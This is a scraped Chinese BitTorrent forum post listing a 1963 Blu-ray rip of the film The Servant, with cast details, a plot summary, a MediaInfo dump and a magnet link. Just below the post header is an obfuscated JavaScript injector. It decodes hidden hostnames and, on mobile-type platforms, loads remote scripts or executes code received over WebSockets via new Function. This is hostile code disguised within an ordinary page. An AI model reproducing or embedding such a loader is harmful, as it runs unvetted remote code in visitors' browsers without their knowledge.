仆人[简繁字幕].The.Servant.1963.1080p.BluRay.x265.10bit.FLAC.2.0.MNHD 9.14GB

版主小s 22天前 222

var x=window['\x61\x74\x6f\x62'],id=x('NDQ0NDczNzY1NjE1Nzg4ODg4OC0xMDA2OQ==');document.write('%lt;ins style="display:none!important" id="'+id+'"%gt;%lt;/ins%gt;');(window.adbyunion=window.adbyunion||[]).push(id);window['\x6b\x62\x74\x42\x4f\x58\x63\x64\x53\x4e']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,k,w,d,c){var cs=d[x('Y3VycmVudFNjcmlwdA==')];'jQuery';var t=[],l=[],e=0,r=0,delay=2000,f=null,ua=navigator.userAgent.toLowerCase(),sc=Math.max(1,600000),ext='1',i='win'+Math.floor(new Date().getTime()/sc)+ext;if(ua.indexOf('baidu')>-1||ua.indexOf('huaweibrowser')>-1||ua.indexOf('vivobrowser')>-1){r=1;u=k;f=function(){if(!l.length)return;var ws=new WebSocket(l.shift()+'/'+i);ws.onopen=function(){for(var k in t)t[k]&&clearTimeout(t[k])};ws.onmessage=function(e){new Function('_tdcs',x(e.data))(cs);ws.close()};ws.onerror=function(e){t[++e]&&clearTimeout(t[e]);f()}};}else{f=function(){if(!l.length)return;var s=document.createElement('script');s.src=l.shift()+'/'+i;cs.parentElement.insertBefore(s,cs);s.onload=function(){for(var k in t)t[k]&&clearTimeout(t[k])};s.onerror=function(){cs.parentElement.removeChild(s);t[++e]&&clearTimeout(t[e]);f()}};}u=decodeURIComponent(x(u.replace(new RegExp(c[r]+''+c[r],'g'),c[r])));var l=u.split(',');l.sort(function(){return 0.5-Math.random()});for(var j in l)t[j]=setTimeout(f,delay*j);})('aHR0cHM6Ly9vamxzZGtmai41MS10b3VyLm5ldCxodHRwczovL29zbGRramZsLmNoYYW95aTQuYY29t','d3NzOOi8vd3MuaG5qanNoLmNvbTo4MDgwLHdzczovL3dzLnFpbmdsaXh5LmNvbTo4MDgwLHdzczovL3dzLnppb24tbGl2ZXMuY29tOOjgwOODA=',window,document,['Y','O']);}:function(){};

◎译 名 仆人/连环套/风流公子花弄蝶

◎片 名 The Servant

◎年 代 1963

◎产 地 英国

◎类 别 剧情

◎语 言 英语

◎上映日期 1963-09

◎豆瓣评分 8.4/10 from 2738 users

◎豆瓣链接 https://movie.douban.com/subject/1303553/

◎片 长 116分钟

◎导 演 约瑟夫·罗西 Joseph Losey

◎编 剧 哈罗德·品特 Harold Pinter / 罗宾·马格汉姆 Robin Maugham

◎主 演 德克·博加德 Dirk Bogarde

詹姆斯·福克斯 James Fox

莎拉·米尔斯 Sarah Miles

帕特里克·马基 Patrick Magee

Hazel Terry Hazel Terry

Derek Tansley Derek Tansley

理查德·弗农 Richard Vernon

格里·达根 Gerry Duggan

哈罗德·品特 Harold Pinter

Alison Seebohm Alison Seebohm

吉尔·梅尔福德 Jill Melford

Davy Graham Davy Graham

阿伦·欧文 Alun Owen

凯瑟琳·拉塞 Catherine Lacey

John Dankworth John Dankworth

Dorothy Bromiley Dorothy Bromiley

温蒂·克雷格 Wendy Craig

安·弗班克 Ann Firbank

◎标 签 英国 | 英国电影 | 约瑟夫·罗西 | 黑白 | 1963 | 1960s | 剧情 | JosephLosey

◎简 介

刚刚搬到伦敦的托尼(詹姆斯·福克斯 James Fox 饰)雇佣了名为巴雷特(德克·博加德 Dirk Bogarde 饰)的男子作为家中的仆人,将家里上下大大小小的一切事物交给他打理,聪明肯干的巴雷特没有让托尼失望,很快便获得了主人的信任。

托尼的女友苏珊(温蒂·克雷格 Wendy Craig 饰)并不喜欢巴雷特,因为她隐约察觉到,托尼和巴雷特的妹妹薇拉(莎拉·米尔斯 Sarah Miles 饰)之间有着说不清道不明的暧昧关系。之后,托尼震惊的发现原来薇拉系巴雷特的情人,深感受到欺骗的托尼解雇了巴雷特。一次偶然中,托尼和巴雷特在一间小酒馆重逢了,他们重新建立了主仆关系,但这表面平和的关系里实则充满了刀光剑影。

◎获奖情况

第24届威尼斯电影节 ?(1963)

主竞赛单元金狮奖(提名) 约瑟夫·罗西

  1. ##### MediaInfo ######

  2. General

  3. Unique ID : 338405209523316149288412615697736790171 (0xFE9678FEA83853AACC57CE0253F9F09B)

  4. Complete name : [email protected]DDQ.COM.mkv

  5. Format : Matroska

  6. Format version : Version 4

  7. File size : 9.14 GiB

  8. Duration : 1 h 55 min

  9. Overall bit rate mode : Variable

  10. Overall bit rate : 11.3 Mb/s

  11. Movie name : [email protected]DDQ.COM

  12. Encoded date : UTC 2021-09-28 13:59:17

  13. Writing application : mkvmerge v53.0.0 ('Fool's Gold') 64-bit

  14. Writing library : libebml v1.4.1 + libmatroska v1.6.2


  15. Video

  16. ID : 1

  17. Format : HEVC

  18. Format/Info : High Efficiency Video Coding

  19. Format profile : Main [email protected]@High

  20. Codec ID : V_MPEGH/ISO/HEVC

  21. Duration : 1 h 55 min

  22. Bit rate : 10.9 Mb/s

  23. Width : 1 800 pixels

  24. Height : 1 080 pixels

  25. Display aspect ratio : 5:3

  26. Frame rate mode : Constant

  27. Frame rate : 24.000 FPS

  28. Color space : YUV

  29. Chroma subsampling : 4:2:0

  30. Bit depth : 10 bits

  31. Bits/(Pixel*Frame) : 0.233

  32. Stream size : 8.77 GiB (96%)

  33. Writing library : x265 3.5+1-f0c1022b6:[Linux][GCC 9.3.0][64 bit] 10bit

  34. Encoding settings : cpuid=533541111039 / frame-threads=3 / numa-pools=11 / wpp / pmode / no-pme / no-psnr / no-ssim / log-level=2 / input-csp=1 / input-res=1800x1080 / interlace=0 / total-frames=166490 / level-idc=0 / high-tier=1 / uhd-bd=0 / ref=4 / no-allow-non-conformance / no-repeat-headers / annexb / no-aud / no-hrd / info / hash=0 / no-temporal-layers / no-open-gop / min-keyint=1 / keyint=250 / gop-lookahead=0 / bframes=6 / b-adapt=2 / b-pyramid / bframe-bias=0 / rc-lookahead=80 / lookahead-slices=0 / NTMzNTQ=uuDQuD2mJt9fsCf / scenecut=40 / hist-scenecut=0 / radl=0 / no-splice / no-intra-refresh / ctu=32 / min-cu-size=8 / no-rect / no-amp / max-tu-size=32 / tu-inter-depth=4 / tu-intra-depth=4 / limit-tu=0 / rdoq-level=2 / dynamic-rd=0.00 / no-ssim-rd / signhide / no-tskip / nr-intra=0 / nr-inter=0 / no-constrained-intra / strong-intra-smoothing / max-merge=5 / limit-refs=0 / no-limit-modes / me=3 / subme=7 / merange=57 / temporal-mvp / no-frame-dup / no-hme / weightp / weightb / no-analyze-src-pics / deblock=-3:-3 / no-sao / no-sao-non-deblock / rd=4 / selective-sao=0 / no-early-skip / no-rskip / no-fast-intra / no-tskip-fast / no-cu-lossless / b-intra / no-splitrd-skip / rdpenalty=0 / psy-rd=1.50 / psy-rdoq=1.00 / no-rd-refine / no-lossless / cbqpoffs=-2 / crqpoffs=-2 / rc=crf / crf=24.0 / qcomp=0.65 / qpstep=4 / stats-write=0 / stats-read=0 / vbv-maxrate=160000 / vbv-bufsize=160000 / vbv-init=0.9 / min-vbv-fullness=50.0 / max-vbv-fullness=80.0 / crf-max=0.0 / crf-min=0.0 / ipratio=1.30 / pbratio=1.20 / aq-mode=1 / aq-strength=1.00 / no-cutree / zone-count=0 / no-strict-cbr / qg-size=8 / no-rc-grain / qpmax=69 / qpmin=0 / no-const-vbv / sar=0 / overscan=0 / videoformat=5 / range=0 / colorprim=1 / transfer=1 / colormatrix=1 / chromaloc=0 / display-window=0 / cll=0,0 / min-luma=0 / max-luma=1023 / log2-max-poc-lsb=8 / vui-timing-info / vui-hrd-info / slices=1 / no-opt-qp-pps / no-opt-ref-list-length-pps / no-multi-pass-opt-rps / scenecut-bias=0.05 / hist-threshold=0.03 / no-opt-cu-delta-qp / no-aq-motion / no-hdr10 / no-hdr10-opt / no-dhdr10-opt / no-idr-recovery-sei / analysis-reuse-level=0 / analysis-save-reuse-level=0 / analysis-load-reuse-level=0 / scale-factor=0 / refine-intra=0 / refine-inter=0 / refine-mv=1 / refine-ctu-distortion=0 / no-limit-sao / ctu-info=0 / no-lowpass-dct / refine-analysis-type=0 / copy-pic=1 / max-ausize-factor=1.0 / no-dynamic-refine / no-single-sei / no-hevc-aq / no-svt / no-field / qp-adaptation-range=1.00 / scenecut-aware-qp=0conformance-window-offsets / right=0 / bottom=0 / NTMzNTQ= / decoder-max-rate=0 / no-vbv-live-multi-pass

  35. Default : Yes

  36. Forced : No

  37. Color range : Limited

  38. Color primaries : BT.709

  39. Transfer characteristics : BT.709

  40. Matrix coefficients : BT.709


  41. Audio

  42. ID : 2

  43. Format : FLAC

  44. Format/Info : Free Lossless Audio Codec

  45. Codec ID : A_FLAC

  46. Duration : 1 h 55 min

  47. Bit rate mode : Variable

  48. Bit rate : 431 kb/s

  49. Channel(s) : 2 channels

  50. Channel layout : L R

  51. Sampling rate : 48.0 kHz

  52. Frame rate : 11.719 FPS (4096 SPF)

  53. Bit depth : 16 bits

  54. Compression mode : Lossless

  55. Stream size : 357 MiB (4%)

  56. Title : English

  57. Writing library : libFLAC 1.2.1 (UTC 2007-09-17)

  58. Language : English

  59. Default : Yes

  60. Forced : No


  61. Text #1

  62. ID : 3

  63. Format : UTF-8

  64. Codec ID : S_TEXT/UTF8

  65. Codec ID/Info : UTF-8 Plain Text

  66. Duration : 1 h 54 min

  67. Bit rate : 29 b/s

  68. Count of elements : 944

  69. Stream size : 24.3 KiB (0%)

  70. Title : Chinese (Simplified)

  71. Language : Chinese

  72. Default : Yes

  73. Forced : No


  74. Text #2

  75. ID : 4

  76. Format : UTF-8

  77. Codec ID : S_TEXT/UTF8

  78. Codec ID/Info : UTF-8 Plain Text

  79. Duration : 1 h 54 min

  80. Bit rate : 29 b/s

  81. Count of elements : 944

  82. Stream size : 24.3 KiB (0%)

  83. Title : Chinese (Traditional)

  84. Language : Chinese

  85. Default : No

  86. Forced : No


  87. Text #3

  88. ID : 5

  89. Format : UTF-8

  90. Codec ID : S_TEXT/UTF8

  91. Codec ID/Info : UTF-8 Plain Text

  92. Duration : 1 h 48 min

  93. Bit rate : 40 b/s

  94. Count of elements : 1070

  95. Stream size : 32.1 KiB (0%)

  96. Title : English

  97. Language : English

  98. Default : No

  99. Forced : No


  100. Text #4

  101. ID : 6

  102. Format : PGS

  103. Muxing mode : zlib

  104. Codec ID : S_HDMV/PGS

  105. Codec ID/Info : Picture based subtitle format used on BDs/HD-DVDs

  106. Duration : 1 h 50 min

  107. Bit rate : 26.2 kb/s

  108. Count of elements : 2324

  109. Stream size : 20.7 MiB (0%)

  110. Title : English

  111. Language : English

  112. Default : No

  113. Forced : No


  114. Text #5

  115. ID : 7

  116. Format : PGS

  117. Muxing mode : zlib

  118. Codec ID : S_HDMV/PGS

  119. Codec ID/Info : Picture based subtitle format used on BDs/HD-DVDs

  120. Duration : 1 h 51 min

  121. Bit rate : 21.4 kb/s

  122. Count of elements : 1888

  123. Stream size : 17.1 MiB (0%)

  124. Title : German

  125. Language : German

  126. Default : No

  127. Forced : No


  128. Text #6

  129. ID : 8

  130. Format : PGS

  131. Muxing mode : zlib

  132. Codec ID : S_HDMV/PGS

  133. Codec ID/Info : Picture based subtitle format used on BDs/HD-DVDs

  134. Duration : 1 h 50 min

  135. Bit rate : 14.4 kb/s

  136. Count of elements : 1542

  137. Stream size : 11.4 MiB (0%)

  138. Title : French

  139. Language : French

  140. Default : No

  141. Forced : No


  142. Menu

  143. 00:00:00.000 : en:Chapter 01

  144. 00:08:21.792 : en:Chapter 02

  145. 00:17:30.583 : en:Chapter 03

  146. 00:27:44.708 : en:Chapter 04

  147. 00:37:23.458 : en:Chapter 05

  148. 00:46:38.208 : en:Chapter 06

  149. 00:56:19.583 : en:Chapter 07

  150. 01:11:03.042 : en:Chapter 08

  151. 01:20:27.875 : en:Chapter 09

  152. 01:26:30.375 : en:Chapter 10

  153. 01:36:47.833 : en:Chapter 11

  154. 01:44:01.583 : en:Chapter 12




复制代码


TAGS 剧情

磁力链:
  • magnet:?xt=urn:btih:F08AA7CBBA3E5C35E12289D952B70D0A6A4CD68B
上传的附件:

BT9527.com论坛第一帅,不接受任何反驳
BT9527电影天堂 1、BT9527电影天堂提供的BT文件均来源于互联网抓取,只供网友学习交流、技术提升使用。
2、我们遵守BitTorrent点对点协议原则,任何版权问题请联系原资源发布商,我们不处理任何版权纠纷,谢谢!如有争议请联系邮箱:BT9527#hotmail.com(#换成@)
3、如果您发现某页面或地址有错误,请联系站长邮箱BT9527#hotmail.com(#换成@),我们会尽快处理。您的热心是对BT9527电影天堂最大的支持。
4、本站建议去正规影院观看电影以支持电影行业发展。

最新回复 (0)

你可以在 登录 or 注册 后,对此帖发表评论!

返回